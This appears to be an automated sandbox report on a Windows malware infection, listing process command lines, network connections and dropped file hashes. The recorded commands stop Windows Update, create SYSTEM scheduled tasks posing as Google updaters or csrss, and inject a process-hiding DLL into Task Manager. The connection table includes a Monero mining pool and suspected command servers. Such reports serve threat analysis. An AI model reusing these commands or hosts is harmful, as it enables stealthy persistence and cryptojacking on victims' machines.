"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2220 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:1
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
C:\Windows\explorer.exe
C:\Windows\explorer.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:8
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 39.142.81.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| FI | 77.91.68.61:80 | tcp | |
| FI | 77.91.124.156:19071 | tcp | |
| FI | 77.91.68.29:80 | 77.91.68.29 | tcp |
| US | 8.8.8.8:53 | 29.68.91.77.in-addr.arpa | udp |
| FI | 77.91.68.249:80 | 77.91.68.249 | tcp |
| US | 8.8.8.8:53 | 249.68.91.77.in-addr.arpa | udp |
| RU | 193.233.255.73:80 | 193.233.255.73 | tcp |
| US | 8.8.8.8:53 | 73.255.233.193.in-addr.arpa | udp |
| RU | 5.42.65.80:80 | 5.42.65.80 | tcp |
| US | 8.8.8.8:53 | 80.65.42.5.in-addr.arpa | udp |
| FI | 77.91.124.86:19084 | tcp | |
| FI | 77.91.124.86:19084 | tcp | |
| US | 8.8.8.8:53 | accounts.google.com | udp |
| US | 8.8.8.8:53 | www.facebook.com | udp |
| NL | 142.250.179.141:443 | accounts.google.com | tcp |
| NL | 157.240.201.35:443 | www.facebook.com | tcp |
| NL | 142.250.179.141:443 | accounts.google.com | udp |
| US | 8.8.8.8:53 | store.steampowered.com | udp |
| US | 8.8.8.8:53 | 141.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 35.201.240.157.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 158.240.127.40.in-addr.arpa | udp |
| NL | 104.85.0.101:443 | store.steampowered.com | tcp |
| US | 8.8.8.8:53 | twitter.com | udp |
| US | 104.244.42.1:443 | twitter.com | tcp |
| US | 8.8.8.8:53 | steamcommunity.com | udp |
| JP | 23.207.106.113:443 | steamcommunity.com | tcp |
| US | 8.8.8.8:53 | www.epicgames.com | udp |
| US | 34.199.229.22:443 | www.epicgames.com | tcp |
| US | 8.8.8.8:53 | 195.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 131.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 101.0.85.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.42.244.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 113.106.207.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.paypal.com | udp |
| US | 151.101.1.21:443 | www.paypal.com | tcp |
| US | 8.8.8.8:53 | www.paypalobjects.com | udp |
| US | 192.229.221.25:443 | www.paypalobjects.com | tcp |
| US | 192.229.221.25:443 | www.paypalobjects.com | tcp |
| US | 192.229.221.25:443 | www.paypalobjects.com | tcp |
| US | 8.8.8.8:53 | 22.229.199.34.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.39.65.18.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.1.101.151.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | i.ytimg.com | udp |
| NL | 142.251.36.22:443 | i.ytimg.com | tcp |
| US | 8.8.8.8:53 | 22.36.251.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 106.208.58.216.in-addr.arpa | udp |
| FI | 77.91.124.156:19071 | tcp | |
| US | 8.8.8.8:53 | static.xx.fbcdn.net | udp |
| IE | 163.70.151.21:443 | static.xx.fbcdn.net | tcp |
| IE | 163.70.151.21:443 | static.xx.fbcdn.net | tcp |
| IE | 163.70.151.21:443 | static.xx.fbcdn.net | tcp |
| FI | 77.91.68.29:80 | 77.91.68.29 | tcp |
| NL | 194.169.175.118:80 | 194.169.175.118 | tcp |
| N/A | 224.0.0.251:5353 | udp | |
| US | 8.8.8.8:53 | abs.twimg.com | udp |
| US | 8.8.8.8:53 | api.twitter.com | udp |
| US | 8.8.8.8:53 | pbs.twimg.com | udp |
| US | 104.244.42.66:443 | api.twitter.com | tcp |
| US | 8.8.8.8:53 | video.twimg.com | udp |
| US | 152.199.21.141:443 | abs.twimg.com | tcp |
| US | 152.199.21.141:443 | abs.twimg.com | tcp |
| US | 8.8.8.8:53 | t.co | udp |
| US | 152.199.21.141:443 | abs.twimg.com | tcp |
| US | 192.229.233.50:443 | pbs.twimg.com | tcp |
| US | 152.199.21.141:443 | abs.twimg.com | tcp |
| US | 192.229.220.133:443 | video.twimg.com | tcp |
| US | 104.244.42.197:443 | t.co | tcp |
| US | 8.8.8.8:53 | 21.151.70.163.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 118.175.169.194.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 66.42.244.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 141.21.199.152.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.220.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.233.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.42.244.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | googleads.g.doubleclick.net | udp |
| IT | 185.196.9.171:80 | 185.196.9.171 | tcp |
| NL | 142.250.179.130:443 | googleads.g.doubleclick.net | tcp |
| NL | 142.250.179.130:443 | googleads.g.doubleclick.net | tcp |
| NL | 142.250.179.130:443 | googleads.g.doubleclick.net | udp |
| US | 8.8.8.8:53 | 171.9.196.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 130.179.250.142.in-addr.arpa | udp |
| BG | 171.22.28.213:80 | 171.22.28.213 | tcp |
| US | 8.8.8.8:53 | yt3.ggpht.com | udp |
| US | 8.8.8.8:53 | iplogger.com | udp |
| US | 8.8.8.8:53 | 213.28.22.171.in-addr.arpa | udp |
| NL | 142.251.36.1:443 | yt3.ggpht.com | tcp |
| NL | 142.251.36.22:443 | i.ytimg.com | udp |
| NL | 142.251.36.1:443 | yt3.ggpht.com | tcp |
| NL | 142.251.36.1:443 | yt3.ggpht.com | tcp |
| NL | 142.251.36.1:443 | yt3.ggpht.com | tcp |
| NL | 142.251.36.1:443 | yt3.ggpht.com | tcp |
| DE | 148.251.234.93:443 | iplogger.com | tcp |
| US | 8.8.8.8:53 | store.akamai.steamstatic.com | udp |
| NL | 92.122.101.34:443 | store.akamai.steamstatic.com | tcp |
| NL | 92.122.101.34:443 | store.akamai.steamstatic.com | tcp |
| NL | 92.122.101.34:443 | store.akamai.steamstatic.com | tcp |
| US | 8.8.8.8:53 | stim.graspalace.com | udp |
| US | 188.114.96.0:80 | stim.graspalace.com | tcp |
| US | 8.8.8.8:53 | 1.36.251.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 93.234.251.148.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 34.101.122.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.96.114.188.in-addr.arpa | udp |
| US | 194.49.94.11:80 | 194.49.94.11 | tcp |
| US | 8.8.8.8:53 | 11.94.49.194.in-addr.arpa | udp |
| NL | 142.251.36.1:443 | yt3.ggpht.com | udp |
| US | 8.8.8.8:53 | community.akamai.steamstatic.com | udp |
| NL | 92.122.101.40:443 | community.akamai.steamstatic.com | tcp |
| NL | 92.122.101.40:443 | community.akamai.steamstatic.com | tcp |
| NL | 92.122.101.40:443 | community.akamai.steamstatic.com | tcp |
| US | 8.8.8.8:53 | 196.168.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.23.217.172.in-addr.arpa | udp |
| DE | 167.235.20.126:80 | 167.235.20.126 | tcp |
| DE | 167.235.20.126:80 | 167.235.20.126 | tcp |
| US | 8.8.8.8:53 | 40.101.122.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 126.20.235.167.in-addr.arpa | udp |
| FI | 77.91.68.61:80 | tcp | |
| FI | 77.91.124.86:19084 | tcp | |
| US | 8.8.8.8:53 | static.ads-twitter.com | udp |
| NL | 199.232.148.157:443 | static.ads-twitter.com | tcp |
| FI | 77.91.124.86:19084 | tcp | |
| US | 8.8.8.8:53 | tracking.epicgames.com | udp |
| US | 8.8.8.8:53 | static-assets-prod.unrealengine.com | udp |
| US | 23.22.187.195:443 | tracking.epicgames.com | tcp |
| US | 8.8.8.8:53 | api.ip.sb | udp |
| US | 18.239.36.22:443 | static-assets-prod.unrealengine.com | tcp |
| US | 18.239.36.22:443 | static-assets-prod.unrealengine.com | tcp |
| US | 23.22.187.195:443 | tracking.epicgames.com | tcp |
| US | 104.26.13.31:443 | api.ip.sb | tcp |
| US | 8.8.8.8:53 | 157.148.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | jnn-pa.googleapis.com | udp |
| US | 8.8.8.8:53 | static.doubleclick.net | udp |
| US | 8.8.8.8:53 | 22.36.239.18.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 195.187.22.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.13.26.104.in-addr.arpa | udp |
| NL | 216.58.214.10:443 | jnn-pa.googleapis.com | tcp |
| NL | 216.58.214.10:443 | jnn-pa.googleapis.com | tcp |
| NL | 142.251.36.6:443 | static.doubleclick.net | tcp |
| NL | 216.58.214.10:443 | jnn-pa.googleapis.com | udp |
| US | 8.8.8.8:53 | 10.214.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 6.36.251.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | rr3---sn-5hnekn7l.googlevideo.com | udp |
| NL | 74.125.100.8:443 | rr3---sn-5hnekn7l.googlevideo.com | tcp |
| DE | 167.235.20.126:80 | 167.235.20.126 | tcp |
| US | 8.8.8.8:53 | 8.100.125.74.in-addr.arpa | udp |
| NL | 74.125.100.8:443 | rr3---sn-5hnekn7l.googlevideo.com | udp |
| FI | 77.91.124.156:19071 | tcp | |
| DE | 167.235.20.126:80 | 167.235.20.126 | tcp |
| US | 8.8.8.8:53 | youtube.com | udp |
| NL | 216.58.214.14:443 | youtube.com | tcp |
| US | 8.8.8.8:53 | 14.214.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| FI | 77.91.68.61:80 | tcp | |
| US | 8.8.8.8:53 | facebook.com | udp |
| IE | 163.70.151.35:443 | facebook.com | tcp |
| US | 8.8.8.8:53 | 35.151.70.163.in-addr.arpa | udp |
| FI | 77.91.124.86:19084 | tcp | |
| FI | 77.91.68.29:80 | 77.91.68.29 | tcp |
| FI | 77.91.124.86:19084 | tcp | |
| US | 8.8.8.8:53 | play.google.com | udp |
| NL | 142.251.36.14:443 | play.google.com | tcp |
| NL | 142.251.36.14:443 | play.google.com | udp |
| US | 8.8.8.8:53 | accounts.google.com | udp |
| NL | 142.250.179.141:443 | accounts.google.com | udp |
| US | 8.8.8.8:53 | 14.36.251.142.in-addr.arpa | udp |
| FI | 77.91.124.156:19071 | tcp | |
| US | 8.8.8.8:53 | fbcdn.net | udp |
| IE | 163.70.151.35:443 | fbcdn.net | tcp |
| US | 8.8.8.8:53 | fbsbx.com | udp |
| US | 8.8.8.8:53 | www.paypalobjects.com | udp |
| US | 192.229.221.25:443 | www.paypalobjects.com | tcp |
| US | 8.8.8.8:53 | www.paypal.com | udp |
| US | 8.8.8.8:53 | i.ytimg.com | udp |
| NL | 142.251.36.22:443 | i.ytimg.com | udp |
| RU | 195.10.205.17:8122 | tcp | |
| US | 8.8.8.8:53 | www.recaptcha.net | udp |
| NL | 142.250.179.163:443 | www.recaptcha.net | tcp |
| US | 8.8.8.8:53 | 17.205.10.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 163.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | host-file-host6.com | udp |
| US | 8.8.8.8:53 | host-host-file8.com | udp |
| US | 95.214.26.28:80 | host-host-file8.com | tcp |
| NL | 142.250.179.163:443 | www.recaptcha.net | udp |
| NL | 142.251.36.14:443 | play.google.com | udp |
| US | 8.8.8.8:53 | 28.26.214.95.in-addr.arpa | udp |
| FI | 77.91.124.86:19084 | tcp | |
| FI | 77.91.124.86:19084 | tcp | |
| FI | 77.91.124.156:19071 | tcp | |
| US | 8.8.8.8:53 | b11d55d3-6488-43ff-b141-b86408c71312.uuid.theupdatetime.org | udp |
| US | 8.8.8.8:53 | 85.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| DE | 51.68.190.80:14433 | xmr-eu1.nanopool.org | tcp |
| US | 8.8.8.8:53 | 80.190.68.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 172.67.34.170:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 170.34.67.172.in-addr.arpa | udp |
| FR | 51.255.34.118:14433 | xmr-eu1.nanopool.org | tcp |
| US | 8.8.8.8:53 | 118.34.255.51.in-addr.arpa | udp |
| FI | 77.91.124.86:19084 | tcp | |
| FI | 77.91.124.86:19084 | tcp | |
| US | 8.8.8.8:53 | server13.theupdatetime.org | udp |
| US | 8.8.8.8:53 | stun3.l.google.com | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.135.233:443 | cdn.discordapp.com | tcp |
| SG | 74.125.24.127:19302 | stun3.l.google.com | udp |
| BG | 185.82.216.108:443 | server13.theupdatetime.org | tcp |
| US | 8.8.8.8:53 | walkinglate.com | udp |
| US | 188.114.97.0:443 | walkinglate.com | tcp |
| US | 8.8.8.8:53 | 127.24.125.74.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.135.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 108.216.82.185.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe
| MD5 | f88f9f0aa65c9a7539ba51fb254322b3 |
| SHA1 | 357d466843db0783d61130a3f7a5949241acfe30 |
| SHA256 | af9e55e83d026cf03000fa394257145ef2bd4860aa5a7dc9ff95509fb294e246 |
| SHA512 | 303515e7c6dd84b37e5bccede31399adc7489d29a1931948ef55284d5536756a76ca3aca02932d0b72d606ad7c8454b5347584af0cc516d2320529b7c88c7ec1 |
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe
| MD5 | f88f9f0aa65c9a7539ba51fb254322b3 |
| SHA1 | 357d466843db0783d61130a3f7a5949241acfe30 |
| SHA256 | af9e55e83d026cf03000fa394257145ef2bd4860aa5a7dc9ff95509fb294e246 |
| SHA512 | 303515e7c6dd84b37e5bccede31399adc7489d29a1931948ef55284d5536756a76ca3aca02932d0b72d606ad7c8454b5347584af0cc516d2320529b7c88c7ec1 |
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe
| MD5 | 45a3bb26ea6be74edc125030beeef437 |
| SHA1 | 366fe6443678f62e564919e1b0043f8a3d4072d2 |
| SHA256 | 3d426ba7313007978b404b0a54ac66c53d62a851b9992e5b53e8b21f5e0dcc12 |
| SHA512 | 470b71f2a97ae47b6e5fbc717b4df2bac37882890be99e3ced126104747f9d601fe62202cd00989e0e13e689e107030a9a60edc23e176ec9c97e67abc756d320 |
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe
| MD5 | 45a3bb26ea6be74edc125030beeef437 |
| SHA1 | 366fe6443678f62e564919e1b0043f8a3d4072d2 |
| SHA256 | 3d426ba7313007978b404b0a54ac66c53d62a851b9992e5b53e8b21f5e0dcc12 |
| SHA512 | 470b71f2a97ae47b6e5fbc717b4df2bac37882890be99e3ced126104747f9d601fe62202cd00989e0e13e689e107030a9a60edc23e176ec9c97e67abc756d320 |
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe
| MD5 | 7e93bacbbc33e6652e147e7fe07572a0 |
| SHA1 | 421a7167da01c8da4dc4d5234ca3dd84e319e762 |
| SHA256 | 850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38 |
| SHA512 | 250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91 |
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe
| MD5 | 7e93bacbbc33e6652e147e7fe07572a0 |
| SHA1 | 421a7167da01c8da4dc4d5234ca3dd84e319e762 |
| SHA256 | 850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38 |
| SHA512 | 250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91 |
memory/3328-21-0x0000000000EC0000-0x0000000000ECA000-memory.dmp
memory/3328-22-0x00007FF9DC690000-0x00007FF9DD151000-memory.dmp
memory/3328-24-0x00007FF9DC690000-0x00007FF9DD151000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe
| MD5 | 74f145f1bc8fe95013f30cff035aef28 |
| SHA1 | c1e73bf94b6a8bdb8e133a9cf69ad02895b222a6 |
| SHA256 | 4938bb8c9f1cf0f55c3e555b816632eb84a1e2cef0b08548f53400f43ede38c1 |
| SHA512 | 1792c711d1670838bac98f332a38bd70064cfac5324e216143127450cdb915b1fba5b07d201a82a7d16c444428d72014707883b86275e868a166d0e4f640c008 |
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe
| MD5 | 74f145f1bc8fe95013f30cff035aef28 |
| SHA1 | c1e73bf94b6a8bdb8e133a9cf69ad02895b222a6 |
| SHA256 | 4938bb8c9f1cf0f55c3e555b816632eb84a1e2cef0b08548f53400f43ede38c1 |
| SHA512 | 1792c711d1670838bac98f332a38bd70064cfac5324e216143127450cdb915b1fba5b07d201a82a7d16c444428d72014707883b86275e868a166d0e4f640c008 |
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
| MD5 | 74f145f1bc8fe95013f30cff035aef28 |
| SHA1 | c1e73bf94b6a8bdb8e133a9cf69ad02895b222a6 |
| SHA256 | 4938bb8c9f1cf0f55c3e555b816632eb84a1e2cef0b08548f53400f43ede38c1 |
| SHA512 | 1792c711d1670838bac98f332a38bd70064cfac5324e216143127450cdb915b1fba5b07d201a82a7d16c444428d72014707883b86275e868a166d0e4f640c008 |
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
| MD5 | 74f145f1bc8fe95013f30cff035aef28 |
| SHA1 | c1e73bf94b6a8bdb8e133a9cf69ad02895b222a6 |
| SHA256 | 4938bb8c9f1cf0f55c3e555b816632eb84a1e2cef0b08548f53400f43ede38c1 |
| SHA512 | 1792c711d1670838bac98f332a38bd70064cfac5324e216143127450cdb915b1fba5b07d201a82a7d16c444428d72014707883b86275e868a166d0e4f640c008 |
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
| MD5 | 74f145f1bc8fe95013f30cff035aef28 |
| SHA1 | c1e73bf94b6a8bdb8e133a9cf69ad02895b222a6 |
| SHA256 | 4938bb8c9f1cf0f55c3e555b816632eb84a1e2cef0b08548f53400f43ede38c1 |
| SHA512 | 1792c711d1670838bac98f332a38bd70064cfac5324e216143127450cdb915b1fba5b07d201a82a7d16c444428d72014707883b86275e868a166d0e4f640c008 |
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe
| MD5 | 2e0f97ae1bcad17088b12bfec0dea44e |
| SHA1 | c6b90f19a2a9ee2602106e35bbb03f5fb71b78e6 |
| SHA256 | decd8291a1f383677b50935b429110f0978b4d248b86a0e5bf4fe62355f3ef06 |
| SHA512 | 4f1cbb5a84c9c867e4c4ca0f984351b08549299496368c042672a15b59d3320750f99c444ce55263653158bb997e88960b17c2360f89bab66c2d4dd2b6c8449b |
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe
| MD5 | 2e0f97ae1bcad17088b12bfec0dea44e |
| SHA1 | c6b90f19a2a9ee2602106e35bbb03f5fb71b78e6 |
| SHA256 | decd8291a1f383677b50935b429110f0978b4d248b86a0e5bf4fe62355f3ef06 |
| SHA512 | 4f1cbb5a84c9c867e4c4ca0f984351b08549299496368c042672a15b59d3320750f99c444ce55263653158bb997e88960b17c2360f89bab66c2d4dd2b6c8449b |
memory/3660-40-0x0000000000400000-0x0000000000409000-memory.dmp
memory/3112-42-0x0000000002DB0000-0x0000000002DC6000-memory.dmp
memory/3660-43-0x0000000000400000-0x0000000000409000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe
| MD5 | 9adbf2b79cc46e57115aa45bc5b43452 |
| SHA1 | 6152d8230ab83be99fee0b1f052c7330aa3c19ff |
| SHA256 | 8a8a6eae68beb85c81c662a3f232a86fc71fd9bdda3e916820fb38e03e25c07f |
| SHA512 | 5aa9657e27f336334da3b1bfb265463683193364a8618c23f4cdd12ad40e546f041d496f7377c87fba920ab82a94cd542efa82026750a7970de87cbf2c572b8a |
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe
| MD5 | 9adbf2b79cc46e57115aa45bc5b43452 |
| SHA1 | 6152d8230ab83be99fee0b1f052c7330aa3c19ff |
